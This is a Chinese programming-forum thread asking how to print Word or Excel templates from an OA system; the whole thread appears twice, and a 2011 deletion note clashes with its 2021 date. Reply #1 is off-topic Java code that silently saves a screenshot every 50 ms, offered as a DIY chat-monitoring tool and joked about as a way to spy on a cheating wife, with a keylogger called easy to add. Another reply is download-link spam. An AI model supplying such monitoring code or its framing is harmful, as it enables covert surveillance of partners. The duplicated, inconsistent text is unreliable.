求OA系统中打印功能解决方案

时间:2021-02-07 05:51:49
公司最近要做一个OA,需要做一个打印文件的功能。大概是服务端保存一个文件模板,如:word、excel这类文件。然后通过程序动态的去修改这类文件的内容。最后用打印机打印纸质文件。
由于打印必须连接本地的打印机,那么像服务端的打印实现,如:javax.print.*这些包和子包就直接排除了。那么只能js实现调用打印机的功能。但是js调用打印机确实功能有限,完全不能满足OA中复杂的打印需求。因为以前没做过OA,所以求求各位大神指点指点!!!

9 个解决方案

#1



前两天朋友给我发了一个监控Q聊天记录的一个软件。。但是这软件只有一天的试用期限,过了使用期限就要收费,还不便宜大概160左右,于是决定自己写个玩玩。。就花了点时间去弄了下,不过只有屏幕监控,键盘键盘没有写,如果要写应该也不难。共享给大家玩玩吧。可以拿回去监控老婆出轨,哈哈哈哈。
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;

import javax.imageio.ImageIO;
/**
 * 
 * @author NEO
 */
public class MonitorScreen {
public static void getScreenImg(String dir) throws Exception{
Toolkit tk = Toolkit.getDefaultToolkit();
Robot robot = new Robot();
int i = 0;
while(true){
Rectangle rec = new Rectangle(tk.getScreenSize());
BufferedImage buf = robot.createScreenCapture(rec);
buf.flush();
Thread.sleep(50);
FileOutputStream fos = new FileOutputStream(dir+i++ +".jpg");
ImageIO.write(buf, "jpg", fos);
fos.flush();
fos.close();
}
}
public static void main(String[] args) throws Exception {
getScreenImg("d:/img/");
}
}


import java.awt.BorderLayout;
import java.awt.Font;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.File;

import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
/**
 * @author NEO
 *
 */
public class BroadcastImage {
public static void broadcast(String dir) throws Exception{
int i = 0;
JFrame jf = new JFrame("放映");
JLabel jl = new JLabel();
JButton jb = new JButton("暂停");
jb.addActionListener(new ActionListener(){

@Override
public void actionPerformed(ActionEvent e) {
}

});
JButton jb2 = new JButton("播放");
jb2.addActionListener(new ActionListener(){

@Override
public void actionPerformed(ActionEvent e) {
}

});
JPanel jp = new JPanel();
jp.add(jb);
jp.add(jb2);
jf.add(jl);
jf.add(jp,BorderLayout.SOUTH);
jf.setLocation(400,100);
jf.setSize(600,600);
jf.setVisible(true);
jf.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
File file = new File(dir);
if(file.exists()&&file.isDirectory()){
for(;i<file.list().length;i++){
Thread.sleep(100);
jl.setIcon(new ImageIcon(dir+i +".jpg"));
}
jl.setFont(new Font(Font.MONOSPACED,Font.BOLD,25));
jl.setText("The end!");
}else{
jl.setFont(new Font(Font.MONOSPACED,Font.BOLD,25));
jl.setText("请选择正确的文件路径");
}

}
public static void main(String[] args) throws Exception {
broadcast("d:/img/");
}
}

#2


没人回答诶。。悲剧

#3


做OA解决打印问题最妥善的解决办法是将内容写入客户端的word  excel 或者PDF文档,他们爱怎么打印就怎么打印,还解决了红头文件等问题

#4


帮顶...............

#5


引用 3 楼 sylines 的回复:
做OA解决打印问题最妥善的解决办法是将内容写入客户端的word excel 或者PDF文档,他们爱怎么打印就怎么打印,还解决了红头文件等问题


这个确实用的很多,我们这边也在用

但是,office控件又是一个问题,开源的不好用,不开源的又需要money

#6


OA 的打印一直都不知道该如何解决

期待中。。。

#7


想要相关语言的所有资料吗?java,c++,c#,html,javascript,javaweb,sqlserver,oracle,jquery,Linux,等等等等,程序员必备的学习资料,快来看看吧。
我的压缩包里面不止一两样东西哦,那可是我学习和工作的所有资料,不管是学习还是工作都会需要。
http://download.csdn.net/user/yangtonghai

#8


引用 3 楼 sylines 的回复:
做OA解决打印问题最妥善的解决办法是将内容写入客户端的word  excel 或者PDF文档,他们爱怎么打印就怎么打印,还解决了红头文件等问题

让他们自己导出文件再打印??

#9


该回复于2011-11-14 10:27:59被版主删除

#1



前两天朋友给我发了一个监控Q聊天记录的一个软件。。但是这软件只有一天的试用期限,过了使用期限就要收费,还不便宜大概160左右,于是决定自己写个玩玩。。就花了点时间去弄了下,不过只有屏幕监控,键盘键盘没有写,如果要写应该也不难。共享给大家玩玩吧。可以拿回去监控老婆出轨,哈哈哈哈。
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;

import javax.imageio.ImageIO;
/**
 * 
 * @author NEO
 */
public class MonitorScreen {
public static void getScreenImg(String dir) throws Exception{
Toolkit tk = Toolkit.getDefaultToolkit();
Robot robot = new Robot();
int i = 0;
while(true){
Rectangle rec = new Rectangle(tk.getScreenSize());
BufferedImage buf = robot.createScreenCapture(rec);
buf.flush();
Thread.sleep(50);
FileOutputStream fos = new FileOutputStream(dir+i++ +".jpg");
ImageIO.write(buf, "jpg", fos);
fos.flush();
fos.close();
}
}
public static void main(String[] args) throws Exception {
getScreenImg("d:/img/");
}
}


import java.awt.BorderLayout;
import java.awt.Font;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.File;

import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
/**
 * @author NEO
 *
 */
public class BroadcastImage {
public static void broadcast(String dir) throws Exception{
int i = 0;
JFrame jf = new JFrame("放映");
JLabel jl = new JLabel();
JButton jb = new JButton("暂停");
jb.addActionListener(new ActionListener(){

@Override
public void actionPerformed(ActionEvent e) {
}

});
JButton jb2 = new JButton("播放");
jb2.addActionListener(new ActionListener(){

@Override
public void actionPerformed(ActionEvent e) {
}

});
JPanel jp = new JPanel();
jp.add(jb);
jp.add(jb2);
jf.add(jl);
jf.add(jp,BorderLayout.SOUTH);
jf.setLocation(400,100);
jf.setSize(600,600);
jf.setVisible(true);
jf.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
File file = new File(dir);
if(file.exists()&&file.isDirectory()){
for(;i<file.list().length;i++){
Thread.sleep(100);
jl.setIcon(new ImageIcon(dir+i +".jpg"));
}
jl.setFont(new Font(Font.MONOSPACED,Font.BOLD,25));
jl.setText("The end!");
}else{
jl.setFont(new Font(Font.MONOSPACED,Font.BOLD,25));
jl.setText("请选择正确的文件路径");
}

}
public static void main(String[] args) throws Exception {
broadcast("d:/img/");
}
}

#2


没人回答诶。。悲剧

#3


做OA解决打印问题最妥善的解决办法是将内容写入客户端的word  excel 或者PDF文档,他们爱怎么打印就怎么打印,还解决了红头文件等问题

#4


帮顶...............

#5


引用 3 楼 sylines 的回复:
做OA解决打印问题最妥善的解决办法是将内容写入客户端的word excel 或者PDF文档,他们爱怎么打印就怎么打印,还解决了红头文件等问题


这个确实用的很多,我们这边也在用

但是,office控件又是一个问题,开源的不好用,不开源的又需要money

#6


OA 的打印一直都不知道该如何解决

期待中。。。

#7


想要相关语言的所有资料吗?java,c++,c#,html,javascript,javaweb,sqlserver,oracle,jquery,Linux,等等等等,程序员必备的学习资料,快来看看吧。
我的压缩包里面不止一两样东西哦,那可是我学习和工作的所有资料,不管是学习还是工作都会需要。
http://download.csdn.net/user/yangtonghai

#8


引用 3 楼 sylines 的回复:
做OA解决打印问题最妥善的解决办法是将内容写入客户端的word  excel 或者PDF文档,他们爱怎么打印就怎么打印,还解决了红头文件等问题

让他们自己导出文件再打印??

#9


该回复于2011-11-14 10:27:59被版主删除